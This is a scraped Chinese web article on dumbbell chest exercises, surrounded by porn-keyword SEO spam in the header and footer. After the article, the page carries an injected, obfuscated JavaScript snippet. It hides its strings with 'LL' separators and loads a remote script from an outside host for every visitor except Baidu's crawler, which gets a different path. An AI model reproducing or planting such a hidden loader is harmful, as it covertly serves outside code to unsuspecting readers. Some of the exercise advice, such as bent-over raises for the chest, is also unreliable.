久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

用啞鈴鍛煉胸肌的方法

2017-04-14 15:47:27  來源:360常識網(wǎng)   熱度:
導(dǎo)語:女人在一個有著寬廣胸懷的男人面前總是難以抗拒的,所以男士們要緊緊跟隨時代的步伐,多去健身房,但是鍛煉胸肌是需要耐心的,也不是一朝一

女人在一個有著寬廣胸懷的男人面前總是難以抗拒的,所以男士們要緊緊跟隨時代的步伐,多去健身房,但是鍛煉胸肌是需要耐心的,也不是一朝一夕就能練成的,要循序漸進(jìn),練習(xí)胸肌的方法也不是很多,來來去去就是那么幾種,下面就給大家介紹幾種最常見有效的方法!

1.平躺于器械上,雙手握啞鈴由兩側(cè)向中間抬起

這個動作是最典型的鍛煉胸肌的,所以也推薦大家使用這種方法。具體動作要領(lǐng):

雙手打開時一定要要讓胸肌處于放松的狀態(tài)而不是過渡向外使胸肌再次收到拉伸。

動作的頻率不宜過快,一般5~6秒中一組動作即可。

每次鍛煉不低于20次。

2.平躺于器械上,雙手握啞鈴向上舉起

這也是典型的鍛煉胸肌的方法,注意鍛煉前一定要提前預(yù)熱,讓身體處于活躍狀態(tài)。向上舉起的時候不要在上方停留,舉起后即可落下,不要太快。

每次鍛煉時間不能太短,否則不會有效果,一般一次鍛煉最少要做30次左右,要堅持每天都鍛煉。

3.站立雙手握住啞鈴,彎腰成90度向兩側(cè)舉起啞鈴

這個動作難度較大,耗費的體力也很大。在鍛煉的時候要注意身體的平衡,舉起啞鈴的時間不要過長,因為鍛煉的是胸肌,只要對胸肌有拉伸即可。

完成健胸的任務(wù)固然很重要,但是也不能急于求成,不然就會產(chǎn)生相反的效果,每次訓(xùn)練的時間要控制好,大約在45分鐘左右就可以了,就這樣堅持每個星期去一次健身房,加上飲食的均衡配合,兩個月左右就能初見效果!

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产一级91 | 伊人免费视频二 | 精品九九久久 | av资源中文在线天堂 | 国产一区二区毛片 | 日韩成人免费视频 | 91精品国产综合久久久久久蜜臀 | 国产精品久久久久久一区二区三区 | 国产乱a视频在线 | 久久小视频| 午夜a级理论片915影院 | 麻豆精品| 国产区视频在线观看 | 久草电影在线 | 亚洲午夜电影在线 | www97影院| 国产精品久久久久久久一区探花 | 欧美中文在线观看 | 黄色网址免费在线播放 | 综合久久久久久久 | 午夜精品久久久久久久久久久久 | 国产一区二区三区久久久久久 | 亚洲精品久久久蜜桃 | 99热99| 在线免费日韩 | 超碰一区 | 成人精品视频 | 欧美大片高清免费观看 | 一本色道久久综合狠狠躁篇的优点 | 五月av| 亚洲三级在线观看 | 99久久婷婷国产精品综合 | 91精品国产高清久久久久久久久 | 国产伦精品一区二区三区电影 | 欧美日韩在线观看一区二区三区 | 国产伦精品一区二区三区视频网站 | 伊人欧美视频 | 一本色道久久综合狠狠躁篇的优点 | www.午夜视频 | 久久久久国产精品 | 中文字幕视频 |